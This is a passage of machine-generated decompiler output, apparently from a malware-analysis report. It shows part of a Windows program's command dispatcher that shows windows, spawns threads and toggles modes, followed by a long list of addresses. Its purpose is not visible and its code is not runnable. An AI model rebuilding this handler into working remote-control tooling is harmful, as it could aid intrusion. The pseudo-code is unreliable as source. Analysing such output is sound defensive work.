						case 0x34:
							__ebx = 0;
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__edx = "0";
							__ecx = __eax;
							__eax = E00405B05(__edx);
							__ecx =  &_v448;
							_push(0);
							__eflags = __al;
							if(__eflags == 0) {
								__eax = E00401E65( &_v448, __edx, __ebp, __eflags);
								__esp = __esp - 0x18;
								__ecx = __esp;
								__eax = E004020F6(0, __esp, __edx, __eflags, __eax);
								__ecx = 0x475590;
							} else {
								__eax = E00401E65( &_v448, __edx, __ebp, __eflags);
								__esp = __esp - 0x18;
								__ecx = __esp;
								__eax = E004020F6(0, __esp, __edx, __eflags, __eax);
								__ecx = 0x472d62;
							}
							__eax = E0041721F(__ebx, __ecx, __edx);
							goto L146;
						case 0x35:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004173E7(__ecx, __edx, __edi, __eflags);
							goto L14;
						case 0x36:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E00407B49(__ebx, __edx);
							goto L14;
						case 0x37:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004199FF(__ebx, __edx, __esi, __ebp);
							goto L14;
						case 0x38:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E00403F28(__ebx, __edx, __esi, __ebp, __eflags);
							L14:
							__esp = __esp + 0x18;
							goto L146;
						case 0x39:
							__eax = E0041AC69(__ebx);
							goto L146;
						case 0x3a:
							__eax = E0041AD88(__ebx, __eflags);
							goto L146;
						case 0x3b:
							__eax = E0041ADC7(__eax);
							goto L146;
						case 0x3c:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E004051E3(0);
							__ecx =  &_v452;
							__eflags = __eax->i - __bl;
							__ebx = 0 | __eflags != 0x00000000;
							__eax = E00401E65( &_v452, __edx, __ebp, __eflags, 1);
							__dl = __bl;
							__ecx = __eax;
							__eax = E0041AD67(__ecx, __edx, __esi);
							goto L146;
						case 0x3d:
							__eax = E0041ADCF(__edx);
							goto L146;
						case 0x3e:
							__eflags =  *0x4719d0 - 1;
							__eflags = __eax - 0x4719d0;
							_t179 =  &_a61;
							 *_t179 = _a61 + __esi;
							__eflags =  *_t179;
						case 0x3f:
							__eflags =  *0x472d48 - __bl;
							asm("sbb eax, 0x472d48");
							if(__eflags != 0) {
								ShowWindow( *0x474b34, 9) = SetForegroundWindow( *0x474b34);
							} else {
								__cl = 1;
								E0041CCED(__ebx, __ecx, __edx, __edi) = 0;
								__eax = CreateThread(0, 0, E0041D3AF, 0, 0, 0);
								 *0x472d48 = 2;
							}
							goto L146;
						case 0x40:
							_push(5);
							goto L28;
						case 0x41:
							_push(0);
							L28:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__eax = ShowWindow(__eax, ??);
							goto L146;
						case 0x42:
							__ecx =  &_v188;
							__eax = E00408B64( &_v188);
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 2);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v452;
							__eax = E00401E65( &_v452, __edx, __ebp, __eflags, 1);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v460;
							__eax = E00401E65( &_v460, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v212;
							__eax = E00406E07(__ebx,  &_v212, __edx);
							__ecx =  &_v284;
							__eax = E00408B72();
							goto L146;
						case 0x43:
							_push(1);
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E00402093(__ebx, __esp, __edx, __ebp, __eax);
							_push("hlight");
							__ecx = 0x4752f0;
							__edx = E00401FAB(0x4752f0);
							__eax = E004136BD(0x4752f0, __edx);
							__esp = __esp + 0x20;
							goto L146;
						case 0x44:
							__ecx =  &_v432;
							__eax = E004063BE( &_v432, __eflags);
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
							__ecx =  &_v448;
							__edx = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
							__ecx =  &_v384;
							__edx = __eax;
							__ecx =  &_v408;
							__edx = __eax;
							__ecx =  &_v440;
							__eax = E00406866( &_v440, __edx, __eflags);
							__ecx =  &_v408;
							__eax = E00401FD8();
							__ecx =  &_v384;
							goto L136;
						case 0x45:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__ecx = __eax;
							__eax = E0041BA5B(__ecx);
							goto L146;
						case 0x46:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__ecx = __eax;
							__eax = E0041BA87(__ecx);
							goto L146;
						case 0x47:
							__ecx =  &_v432;
							__eax = E004020DF(__ebx,  &_v432);
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__edx =  &_v436;
							__ecx = __eax;
							__eax = E0041C3D7(__edx);
							__esp = __esp - 0x18;
							__eax =  &_v436;
							__esi = __esp;
							__ecx =  &_v448;
							_push( &_v436);
							_push(0x474ee0);
							_push(E00401E65( &_v448, __edx, __ebp, __eflags, 2));
							__ecx =  &_v452;
							__edx = E00401E65( &_v452, __edx, __ebp, __eflags, 1);
							__ecx =  &_v348;
							__eax = E00402F31( &_v348, __eax, __ebp, __edi);
							goto L138;
						case 0x48:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__ecx =  &_v448;
							__esi = __eax;
							__eax = E00401E65( &_v448, __edx, __ebp, __eflags, 2);
							__edx = __esi;
							__ecx = __eax;
							__eax = E0041C444(__eax, __edx);
							__ecx =  &_v440;
							__eax = E004020DF(__ebx,  &_v440);
							__ecx =  &_v452;
							__ecx = E00401E65( &_v452, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__edx =  &_v444;
							__ecx = __eax;
							__eax = E0041C3D7(__edx);
							__esp = __esp - 0x18;
							__eax =  &_v444;
							__esi = __esp;
							__ecx =  &_v456;
							_push( &_v444);
							_push(0x474ee0);
							_push(E00401E65( &_v456, __edx, __ebp, __eflags, 0));
							__edx = "0";
							__ecx =  &_v352;
							__eax = E0040531E( &_v352, "0", __ebp, __edi);
							L138:
							_pop(__ecx);
							__edx = __eax;
							__ecx =  &_v376;
							__eax = E00402F10(__ebx,  &_v376, __eax, __ebp, __eflags);
							_pop(__ecx);
							__edx = __eax;
							__ecx =  &_v400;
							__eax = E00402F10(__ebx,  &_v400, __eax, __ebp, __eflags);
							_pop(__ecx);
							__edx = __eax;
							__ecx = __esi;
							__eax = E00402F10(__ebx, __esi, __edx, __ebp, __eflags);
							_pop(__ecx);
							_push(0xca);
							__ecx = 0x475598;
							__eax = E00404AA1(0x475598, __edx, __eflags);
							__ecx =  &_v428;
							__eax = E00401FD8();
							__ecx =  &_v404;
							__eax = E00401FD8();
							__ecx =  &_v364;
							L136:
							__eax = E00401FD8();
							L10:
							__ecx =  &_v468;
							L11:
							__eax = E00401FD8();
							goto L146;
						case 0x49:
							__eflags =  *0x47513c;
							asm("sbb eax, 0x47513c");
							if(__eflags != 0) {
								__ecx = 0x4750f0;
								__eax = E0040A109(__ebx, 0x4750f0, __eflags);
							} else {
								__eax = E0043BA26( *0x475140);
								__ecx = 0;
								__eflags = __eax;
								0 | __eflags != 0x00000000 = (__eflags != 0) + 1;
								 *0x47513c = (__eflags != 0) + 1;
								__ecx = 0x4752f0;
								__edx = E00401FAB(0x4752f0);
								__eax = E004137C5(0x4752f0, __edx, "okmode", 0x4752f0);
								_pop(__ecx);
								_pop(__ecx);
								__edi = 0x4750e4;
								__ecx = 0x4750e4;
								__ecx = E00401E65(0x4750e4, __edx, __ebp, __eflags, 0xb);
								__eax = E00401FAB(__eax);
								__ecx = 0x4750e4;
								__bl = __eax->i;
								__ecx = E00401E65(0x4750e4, __edx, __ebp, __eflags, 0x10);
								__eax = E00401FAB(__ecx);
								__eflags = __bl;
								__esi = __eax;
								__ecx = __cl & 0x000000ff;
								__ecx = 0x4750e4;
								__ecx = E00401E65(0x4750e4, __edx, __ebp, __eflags, 7);
								E00401FAB(__ecx) = E0043B9FC(__ecx, __eax);
								__ecx = 0x4750e4;
								__ecx = E00401E65(0x4750e4, __edx, __ebp, __eflags, 0x11);
								__eax = E00401FAB(__eax);
								__ecx = 0x4750e4;
								__ecx = E00401E65(0x4750e4, __edx, __ebp, __eflags, 0x31);
								__eax =  *__esi & 0x000000ff;
								__ecx = 0x4750f0;
								__eax = E00409DE4(__ebx, 0x4750f0, __eflags,  *0x47513c,  *0x475140,  *__esi & 0x000000ff,  *__esi & 0x000000ff,  *__esi & 0x000000ff,  *__esi & 0x000000ff, __cl & 0x000000ff);
							}
							goto L146;
						case 0x4a:
							 *0x47513c =  *0x47513c & 0;
							__eflags =  *0x47513c;
							asm("sbb eax, 0x47513c");
							__ecx = 0x4752f0;
							__edx = E00401FAB(0x4752f0);
							__eax = E004137C5(0x4752f0, __edx, "okmode", 0);
							_pop(__ecx);
							_pop(__ecx);
							__ecx = 0x4750f0;
							__eax = E0040B02A(__ebx, 0x4750f0, __edx);
							goto L146;
						case 0x4b:
							__esi = 0x474fa8;
							__ecx = 0x474fa8;
							__eax = E0040482D(0x474fa8);
							__ecx = 0x474fa8;
							__eax = E004048C8(0x474fa8, 0x474fa8, 0x474fa8);
							__ecx =  &_v448;
							__eax = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							_push(0xce);
							__ecx = 0x474fa8;
							E00404AA1(0x474fa8, __edx, __eflags) = E00405B8E(__ebx, __eflags);
							_push(0);
							_push(E00405B11);
							L63:
							__ecx = __esi;
							__eax = E00404C10(__ecx, __edx);
							goto L146;
						case 0x4c:
							goto L146;
					}
				}
				L149:
			}




































































                                    0x00415a38
                                    0x00415a38
                                    0x00415a39
                                    0x00415a4b
                                    0x00415a4d
                                    0x00415a55
                                    0x00415a5d
                                    0x00415a6a
                                    0x00415a84
                                    0x00415a89
                                    0x00415a94
                                    0x00415a99
                                    0x00415aa6
                                    0x00415aaf
                                    0x00415ab4
                                    0x00415ab7
                                    0x00415abe
                                    0x00416fda
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003
                                    0x00415ac4
                                    0x00415acd
                                    0x00000000
                                    0x00415ae0
                                    0x00415af7
                                    0x00415b13
                                    0x00415b6e
                                    0x00415b72
                                    0x00415b7d
                                    0x00415b81
                                    0x00415b8a
                                    0x00415b96
                                    0x00415ba2
                                    0x00415bae
                                    0x00415bba
                                    0x00415bc6
                                    0x00415bcf
                                    0x00415bd8
                                    0x00415be1
                                    0x00415bf9
                                    0x00415c01
                                    0x00415c2e
                                    0x00415c33
                                    0x00415c3a
                                    0x00415c3f
                                    0x00415c41
                                    0x00415c47
                                    0x00415c48
                                    0x00000000
                                    0x00415c48
                                    0x00415c03
                                    0x00415c05
                                    0x00415c0f
                                    0x00415c1f
                                    0x00415c11
                                    0x00415c12
                                    0x00415c12
                                    0x00415c0f
                                    0x00000000
                                    0x00000000
                                    0x00415c86
                                    0x00415c88
                                    0x00415c4a
                                    0x00415c4a
                                    0x00000000
                                    0x00000000
                                    0x00416aaf
                                    0x00416ab3
                                    0x00416ab8
                                    0x00416abb
                                    0x00416abd
                                    0x00416abf
                                    0x00416ac4
                                    0x00416ac6
                                    0x00416acb
                                    0x00416ad0
                                    0x00000000
                                    0x00000000
                                    0x00415eb1
                                    0x00415eb8
                                    0x00415ebd
                                    0x00415ec0
                                    0x00415ec7
                                    0x00415ec9
                                    0x00415ed4
                                    0x00415ed6
                                    0x00415ee0
                                    0x00415ee2
                                    0x00415ee4
                                    0x00415eea
                                    0x00000000
                                    0x00000000
                                    0x00415f0a
                                    0x00415f13
                                    0x00415f15
                                    0x00415f21
                                    0x00415f23
                                    0x00000000
                                    0x00000000
                                    0x00415ffd
                                    0x00415ffd
                                    0x00000000
                                    0x00000000
                                    0x00415f79
                                    0x00415f82
                                    0x00415f84
                                    0x00415f91
                                    0x00000000
                                    0x00000000
                                    0x00415f9c
                                    0x00000000
                                    0x00000000
                                    0x00415fc3
                                    0x00000000
                                    0x00000000
                                    0x00415fcf
                                    0x00415fd6
                                    0x00415fdf
                                    0x00415fe1
                                    0x00415fee
                                    0x00415ff4
                                    0x00415ff8
                                    0x00000000
                                    0x00000000
                                    0x0041603c
                                    0x0041603e
                                    0x0041604a
                                    0x0041604c
                                    0x00416052
                                    0x00416056
                                    0x0041605c
                                    0x00416061
                                    0x0041606b
                                    0x0041607e
                                    0x00416084
                                    0x00416088
                                    0x0041608d
                                    0x00000000
                                    0x00000000
                                    0x00416098
                                    0x0041609c
                                    0x004160a2
                                    0x004160a7
                                    0x004160ac
                                    0x004160b2
                                    0x004160ba
                                    0x004160be
                                    0x004160c3
                                    0x004160c6
                                    0x004160c9
                                    0x004160ce
                                    0x00000000
                                    0x004160ce
                                    0x00000000
                                    0x00000000
                                    0x004160da
                                    0x004160dc
                                    0x004160e8
                                    0x004160f6
                                    0x00000000
                                    0x00000000
                                    0x00416103
                                    0x0041610c
                                    0x0041610e
                                    0x00416114
                                    0x0041611c
                                    0x00416120
                                    0x00416122
                                    0x00416128
                                    0x0041612c
                                    0x00416131
                                    0x00416136
                                    0x0041613a
                                    0x0041613f
                                    0x00416143
                                    0x00416145
                                    0x00416147
                                    0x00416178
                                    0x0041617d
                                    0x00416180
                                    0x00416183
                                    0x00416188
                                    0x0041618b
                                    0x0041618f
                                    0x00416192
                                    0x00416197
                                    0x0041619c
                                    0x0041619e
                                    0x004161a3
                                    0x00416149
                                    0x00416149
                                    0x0041614e
                                    0x00416151
                                    0x00416154
                                    0x00416159
                                    0x0041615c
                                    0x00416160
                                    0x00416163
                                    0x00416168
                                    0x0041616d
                                    0x0041616f
                                    0x00416174
                                    0x00416174
                                    0x004161a5
                                    0x004161a8
                                    0x004161b1
                                    0x004161b3
                                    0x004161b9
                                    0x004161be
                                    0x004161c1
                                    0x004161c4
                                    0x004161c8
                                    0x004161cb
                                    0x004161d3
                                    0x004161d5
                                    0x004161e1
                                    0x004161e2
                                    0x004161e4
                                    0x00000000
                                    0x00000000
                                    0x00415c54
                                    0x00415c58
                                    0x00415c5d
                                    0x00415c60
                                    0x00415c64
                                    0x00415c67
                                    0x00415c6c
                                    0x00415c6e
                                    0x00415c73
                                    0x00000000
                                    0x00000000
                                    0x004161f0
                                    0x004161f4
                                    0x004161f9
                                    0x004161fc
                                    0x004161ff
                                    0x00416204
                                    0x00416209
                                    0x00000000
                                    0x00000000
                                    0x00416213
                                    0x00416218
                                    0x00000000
                                    0x00000000
                                    0x00416222
                                    0x00416227
                                    0x00000000
                                    0x00000000
                                    0x0041633b
                                    0x0041633f
                                    0x00416345
                                    0x0041634a
                                    0x0041634f
                                    0x00000000
                                    0x00000000
                                    0x0041635e
                                    0x0041635e
                                    0x0041635f
                                    0x00416364
                                    0x0041636a
                                    0x0041636f
                                    0x00416372
                                    0x00416375
                                    0x0041637c
                                    0x00416380
                                    0x00416385
                                    0x00416388
                                    0x0041638b
                                    0x00416390
                                    0x00416395
                                    0x00000000
                                    0x00000000
                                    0x004163a5
                                    0x004163aa
                                    0x004163ac
                                    0x004163b1
                                    0x00416354
                                    0x00416354
                                    0x00000000
                                    0x00000000
                                    0x00416bc6
                                    0x00416bc7
                                    0x00416bcc
                                    0x00416bd2
                                    0x00416bd4
                                    0x00416bd6
                                    0x00416bd6
                                    0x00000000
                                    0x00000000
                                    0x004163d7
                                    0x004163db
                                    0x004163e0
                                    0x004163e6
                                    0x004163e8
                                    0x004163ed
                                    0x004163f2
                                    0x004163f4
                                    0x004163fa
                                    0x004163fc
                                    0x00416401
                                    0x00416404
                                    0x00416406
                                    0x00416407
                                    0x0041640d
                                    0x00416418
                                    0x0041640f
                                    0x0041640f
                                    0x00416414
                                    0x0041641f
                                    0x00416421
                                    0x00416426
                                    0x00416428
                                    0x00000000
                                    0x00000000
                                    0x00416439
                                    0x0041643f
                                    0x00416444
                                    0x00000000
                                    0x00000000
                                    0x00416450
                                    0x00416454
                                    0x0041645a
                                    0x0041645f
                                    0x00416462
                                    0x00416465
                                    0x0041646c
                                    0x00416475
                                    0x0041647d
                                    0x00416486
                                    0x0041648f
                                    0x00416491
                                    0x00416497
                                    0x0041649f
                                    0x004164a3
                                    0x004164aa
                                    0x004164ac
                                    0x004164b2
                                    0x004164b8
                                    0x004164ba
                                    0x004164bc
                                    0x00000000
                                    0x00000000
                                    0x004164cf
                                    0x004164e2
                                    0x00000000
                                    0x00000000
                                    0x004164ed
                                    0x004164ed
                                    0x004164ee
                                    0x004164f3
                                    0x004164f9
                                    0x004164fe
                                    0x00416501
                                    0x00416504
                                    0x0041650b
                                    0x0041650f
                                    0x00416514
                                    0x00416517
                                    0x0041651f
                                    0x00416524
                                    0x0041639a
                                    0x0041639a
                                    0x00000000
                                    0x00000000
                                    0x0041654e
                                    0x00416557
                                    0x0041655f
                                    0x00000000
                                    0x00000000
                                    0x0041656a
                                    0x00416571
                                    0x00000000
                                    0x0041657f
                                    0x0041657f
                                    0x00416585
                                    0x00000000
                                    0x00000000
                                    0x00416579
                                    0x00416579
                                    0x00416589
                                    0x0041658b
                                    0x0041658b
                                    0x0041658b
                                    0x00417006
                                    0x0041700c
                                    0x0041700e
                                    0x0041700f
                                    0x00417015
                                    0x00417017
                                    0x0041701d
                                    0x0041701e
                                    0x0041701f
                                    0x00417021
                                    0x00417022
                                    0x00417023
                                    0x00417026
                                    0x00417027
                                    0x0041702e
                                    0x0041702f
                                    0x00417031
                                    0x00417032
                                    0x00417033
                                    0x00417036
                                    0x00417037
                                    0x0041703d
                                    0x0041703e
                                    0x0041703f
                                    0x00417041
                                    0x00417042
                                    0x00417043
                                    0x00417047
                                    0x00417049
                                    0x0041704a
                                    0x0041704b
                                    0x0041704d
                                    0x00417050
                                    0x00417053
                                    0x00417055
                                    0x00417058
                                    0x00417059
                                    0x0041705c
                                    0x0041705d
                                    0x00417060
                                    0x00417062
                                    0x00417063
                                    0x00417065
                                    0x00417068
                                    0x0041706c
                                    0x0041706d
                                    0x0041706f
                                    0x00417071
                                    0x00417073
                                    0x00417075
                                    0x00417077
                                    0x0041707b
                                    0x0041707e
                                    0x0041707f
                                    0x00417082
                                    0x00417083
                                    0x00417089
                                    0x0041708b
                                    0x0041708d
                                    0x0041708f
                                    0x00417092
                                    0x00417093
                                    0x00417095
                                    0x00417097
                                    0x0041709d
                                    0x004170a2
                                    0x004170a3
                                    0x004170ad
                                    0x004170b4
                                    0x004170b9
                                    0x004170c0
                                    0x004170c2
                                    0x004170c3
                                    0x004170c5
                                    0x004170c7
                                    0x004170ca
                                    0x004170cb
                                    0x004170d1
                                    0x004170d2
                                    0x004170d3
                                    0x004170d5
                                    0x004170d6
                                    0x004170d7
                                    0x004170d9
                                    0x004170da
                                    0x004170db
                                    0x004170dd
                                    0x004170df
                                    0x004170e2
                                    0x004170e3
                                    0x004170e9
                                    0x004170ec
                                    0x004170ee
                                    0x004170ef
                                    0x004170f1
                                    0x004170f2
                                    0x004170f3
                                    0x004170f6
                                    0x004170f7
                                    0x004170f9
                                    0x004170fa
                                    0x004170fb
                                    0x004170fd
                                    0x00417101
                                    0x00417105
                                    0x00417106
                                    0x00417107
                                    0x0041710a
                                    0x0041710b
                                    0x0041710d
                                    0x0041710e
                                    0x0041710f
                                    0x00417111
                                    0x00417112
                                    0x00417113
                                    0x00417115
                                    0x00417116
                                    0x00417117
                                    0x0041711a
                                    0x0041711b
                                    0x00417121
                                    0x00417122
                                    0x00417123
                                    0x00417126
                                    0x00417127
                                    0x00417129
                                    0x0041712a
                                    0x0041712b
                                    0x00417131
                                    0x00417134
                                    0x00417137
                                    0x0041713a
                                    0x0041713b
                                    0x0041713d
                                    0x0041713e
                                    0x0041713f
                                    0x00417141
                                    0x00417143
                                    0x00417144
                                    0x00417145
                                    0x0041714c
                                    0x0041714e
                                    0x00417150
                                    0x00417151
                                    0x00417154
                                    0x00417156
                                    0x00417158
                                    0x00417159
                                    0x0041715a
                                    0x0041715b
                                    0x0041715c
                                    0x0041715e
                                    0x00417160
                                    0x00417162
                                    0x00417163
                                    0x00417164
                                    0x00417166
                                    0x00417168
                                    0x0041716a
                                    0x0041716c
                                    0x0041716e
                                    0x00417170
                                    0x00417172
                                    0x00417173
                                    0x00417175
                                    0x00417176
                                    0x00417177
                                    0x00417178
                                    0x00417179
                                    0x0041717a
                                    0x0041717b
                                    0x0041717c
                                    0x0041717d
                                    0x0041717e
                                    0x0041717f
                                    0x00417180
                                    0x00417181
                                    0x00417182
                                    0x00417183
                                    0x00417184
                                    0x00417185
                                    0x00417186
                                    0x00417187
                                    0x00417188
                                    0x00417189
                                    0x0041718a
                                    0x0041718b
                                    0x0041718c
                                    0x0041718d
                                    0x0041718e
                                    0x0041718f
                                    0x00417190
                                    0x00417191
                                    0x00417192
                                    0x00417193
                                    0x00417194
                                    0x00417195
                                    0x00417196
                                    0x00417197
                                    0x00417198
                                    0x00417199
                                    0x0041719a
                                    0x0041719b
                                    0x0041719c
                                    0x0041719d
                                    0x0041719e
                                    0x0041719f
                                    0x004171a0
                                    0x004171a1
                                    0x004171a2
                                    0x004171a3
                                    0x004171a4
                                    0x004171a5
                                    0x004171a6
                                    0x004171a7
                                    0x004171a8
                                    0x004171a9
                                    0x004171aa
                                    0x004171ab
                                    0x004171ac
                                    0x004171ad
                                    0x004171ae
                                    0x004171af
                                    0x004171b0
                                    0x004171b1
                                    0x004171b2
                                    0x004171b3
                                    0x004171b4
                                    0x004171b5
                                    0x004171b6
                                    0x004171b7
                                    0x004171b8
                                    0x004171b9
                                    0x004171ba
                                    0x004171bb
                                    0x004171bc
                                    0x004171bd
                                    0x004171be
                                    0x004171bf
                                    0x004171c0
                                    0x004171c1
                                    0x004171c2
                                    0x004171c3
                                    0x004171c4
                                    0x004171c5
                                    0x004171c6
                                    0x004171c7
                                    0x004171c8
                                    0x004171c9
                                    0x004171ca
                                    0x004171cb
                                    0x004171cc
                                    0x004171cd
                                    0x004171ce
                                    0x004171d0
                                    0x004171d1
                                    0x004171d5
                                    0x004171d6
                                    0x004171db
                                    0x004171dc
                                    0x004171df
                                    0x004171e3
                                    0x004171e4
                                    0x004171e5
                                    0x004171e6
                                    0x004171e7
                                    0x004171e8
                                    0x004171e9
                                    0x004171ea
                                    0x004171ec
                                    0x004171ed
                                    0x004171ee
                                    0x004171ef
                                    0x004171f0
                                    0x004171f1
                                    0x004171f2
                                    0x004171f3
                                    0x004171f4
                                    0x004171f5
                                    0x004171f6
                                    0x004171f7
                                    0x004171f8
                                    0x004171f9
                                    0x004171fa
                                    0x004171fb
                                    0x004171fc
                                    0x004171fd
                                    0x004171fe
                                    0x004171ff
                                    0x00417200
                                    0x00417201
                                    0x00417202
                                    0x00417203
                                    0x00417204
                                    0x00417205
                                    0x00417206
                                    0x00417207
                                    0x00417208
                                    0x00417209
                                    0x0041720a
                                    0x0041720b
                                    0x0041720c
                                    0x0041720d
                                    0x0041720e
                                    0x0041720f
                                    0x00417213
                                    0x0041721b
                                    0x0041721d
                                    0x0041721e
                                    0x00000000
                                    0x00000000
                                    0x00416c87
                                    0x00000000
                                    0x00000000
                                    0x00416594
                                    0x00416594
                                    0x0041659a
                                    0x00000000
                                    0x00000000
                                    0x0041658e
                                    0x0041658e
                                    0x0041659c
                                    0x0041659e
                                    0x004165a8
                                    0x004165aa
                                    0x004165b1
                                    0x004165b5
                                    0x004165bc
                                    0x004165be
                                    0x004165c3
                                    0x004165c5
                                    0x004165ca
                                    0x004165d0
                                    0x004165d1
                                    0x004165d2
                                    0x004165db
                                    0x004165de
                                    0x004165e7
                                    0x004165e9
                                    0x004165ee
                                    0x004165ef
                                    0x004165f0
                                    0x004165f6
                                    0x004165f8
                                    0x004165fe
                                    0x00416601
                                    0x00416605
                                    0x0041660d
                                    0x00416612
                                    0x00416612
                                    0x00000000
                                    0x00000000
                                    0x0041661c
                                    0x00416623
                                    0x00416629
                                    0x00416630
                                    0x00416635
                                    0x00416638
                                    0x0041663f
                                    0x00416644
                                    0x00416646
                                    0x0041664d
                                    0x00416659
                                    0x00416660
                                    0x00416665
                                    0x0041666c
                                    0x00000000
                                    0x00000000
                                    0x00416678
                                    0x00416681
                                    0x00416683
                                    0x0041668f
                                    0x00416694
                                    0x004166a0
                                    0x004166a2
                                    0x004166a8
                                    0x004166aa
                                    0x004166b4
                                    0x004166b6
                                    0x004166bd
                                    0x004166c4
                                    0x004166c8
                                    0x004166ca
                                    0x004166cf
                                    0x004166d2
                                    0x004166d6
                                    0x004166d8
                                    0x004166e5
                                    0x004166e7
                                    0x004166f1
                                    0x004166f3
                                    0x004166f5
                                    0x004166fb
                                    0x00415eec
                                    0x00415eec
                                    0x00415ef1
                                    0x00415ef6
                                    0x00415efa
                                    0x00415eff
                                    0x00000000
                                    0x00000000
                                    0x00416702
                                    0x00416707
                                    0x00416709
                                    0x0041670e
                                    0x00416713
                                    0x00416718
                                    0x0041671a
                                    0x0041671f
                                    0x00416723
                                    0x00416724
                                    0x00416726
                                    0x0041673e
                                    0x00416743
                                    0x00416748
                                    0x0041674a
                                    0x0041674f
                                    0x00416753
                                    0x00416754
                                    0x00416756
                                    0x00416771
                                    0x00416776
                                    0x0041677b
                                    0x0041677d
                                    0x00416782
                                    0x00416784
                                    0x004167b9
                                    0x004167c0
                                    0x004167c7
                                    0x004167cb
                                    0x004167cd
                                    0x004167d2
                                    0x004167d7
                                    0x004167d9
                                    0x004167de
                                    0x004167df
                                    0x004167e1
                                    0x004167e7
                                    0x004167eb
                                    0x004167f0
                                    0x004167f5
                                    0x004167f7
                                    0x004167fc
                                    0x004167fe
                                    0x00416804
                                    0x00416805
                                    0x00416806
                                    0x00000000
                                    0x00416806
                                    0x004167e3
                                    0x004167e3
                                    0x004167e4
                                    0x00416808
                                    0x00416808
                                    0x00416808
                                    0x00416786
                                    0x00416786
                                    0x00416789
                                    0x00416792
                                    0x00416794
                                    0x0041679a
                                    0x0041679f
                                    0x0041679f
                                    0x00000000
                                    0x0041679f
                                    0x00416758
                                    0x0041675f
                                    0x00416761
                                    0x00416767
                                    0x0041676c
                                    0x00000000
                                    0x0041676c
                                    0x00416728
                                    0x0041672f
                                    0x00416731
                                    0x00416737
                                    0x004167a2
                                    0x004167a2
                                    0x004167a4
                                    0x004167a4
                                    0x00000000
                                    0x00000000
                                    0x004168a9
                                    0x004168aa
                                    0x004168b0
                                    0x004168b2
                                    0x004168c0
                                    0x004168ca
                                    0x004168d2
                                    0x004168d8
                                    0x004168df
                                    0x004168e3
                                    0x004168e7
                                    0x004168ec
                                    0x004168ef
                                    0x004168f3
                                    0x004168f5
                                    0x004168fa
                                    0x004168fc
                                    0x00416901
                                    0x00000000
                                    0x00416901
                                    0x00000000
                                    0x00000000
                                    0x00416816
                                    0x00416818
                                    0x0041681e
                                    0x00416825
                                    0x0041682e
                                    0x00416830
                                    0x00416835
                                    0x00416844
                                    0x00416847
                                    0x0041684e
                                    0x00416852
                                    0x00416859
                                    0x0041685b
                                    0x00416862
                                    0x0041686b
                                    0x00416886
                                    0x00000000
                                    0x00416886
                                    0x00000000
                                    0x00000000
                                    0x0041688f
                                    0x00416895
                                    0x00416897
                                    0x0041689d
                                    0x004168a3
                                    0x004168a3
                                    0x00000000
                                    0x004168a3
                                    0x00000000
                                    0x00000000
                                    0x0041690d
                                    0x00416916
                                    0x00416918
                                    0x0041691f
                                    0x00416923
                                    0x0041692a
                                    0x0041692c
                                    0x00416931
                                    0x00416933
                                    0x00416935
                                    0x00000000
                                    0x00000000
                                    0x0041693f
                                    0x00416941
                                    0x00416947
                                    0x0041694b
                                    0x0041694f
                                    0x00416958
                                    0x0041695a
                                    0x0041695f
                                    0x00416963
                                    0x00416965
                                    0x0041696b
                                    0x0041696e
                                    0x00416974
                                    0x00416978
                                    0x00416985
                                    0x0041698a
                                    0x00000000
                                    0x00000000
                                    0x00416990
                                    0x00000000
                                    0x00000000
                                    0x0041699c
                                    0x004169a0
                                    0x004169a5
                                    0x004169a8
                                    0x004169b0
                                    0x00000000
                                    0x00000000
                                    0x004169bc
                                    0x004169c0
                                    0x004169c5
                                    0x004169c8
                                    0x004169d0
                                    0x00000000
                                    0x00000000
                                    0x004169dc
                                    0x004169e0
                                    0x004169e5
                                    0x004169e8
                                    0x004169f0
                                    0x00000000
                                    0x00000000
                                    0x004169fa
                                    0x004169fb
                                    0x00416a00
                                    0x00416a02
                                    0x00416a08
                                    0x00416a0a
                                    0x00416a12
                                    0x00416a1b
                                    0x00416a22
                                    0x00416a23
                                    0x00416a2f
